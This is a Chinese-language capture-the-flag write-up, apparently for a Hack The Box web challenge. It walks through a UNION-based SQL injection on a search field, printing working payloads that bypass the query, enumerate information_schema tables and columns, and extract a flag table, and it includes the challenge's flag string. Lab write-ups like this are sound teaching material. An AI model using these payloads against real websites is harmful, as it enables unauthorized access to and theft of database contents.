Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

题目描述

image-20250531104508021

观察

打开网页:

image-20250531102744777

随便尝试输入点内容会发现

image-20250531102916435

搜索的语句是

1
SELECT * FROM inventory WHERE name LIKE '%1%'

所有尝试输入

1
' OR 1=1 -- -

会发现可以注入成功。

image-20250531103122879

注意,在MySQL/MariaDB中,如果 -- 后紧跟 %,它 不会被识别为注释符,而是视作 --%,导致SQL语法错误。所以我们这里注入时需要在--后面加上空格以及一个任意符号/字母/数字(比如说-)。

也就是说这道题的注入格式为

1
' injection_code -- -

并且注意到当前的表格一共有5列内容。

渗透

由于在当前表格里没有找到flag相关的内容,所以我们先查看当前所有的表格信息:

1
' UNION SELECT null, table_name, null, null,null FROM information_schema.tables WHERE table_schema=database() -- -

image-20250531103919855

发现有一个名为flag的表格。那么现在来查看一下这个表格有哪些列:

1
' UNION SELECT column_name, null,null,null, null FROM information_schema.columns WHERE table_name='flag' -- -

发现只有一列内容,并且这列的名字也叫flag。接着查看这列的具体内容即可得到flag:

1
' UNION SELECT flag,null,null,null,null from flag -- -

image-20250531104343013

1
HTB{un10n_1Nj3ct1on_15_345y_t0_l34rn_r1gh17?}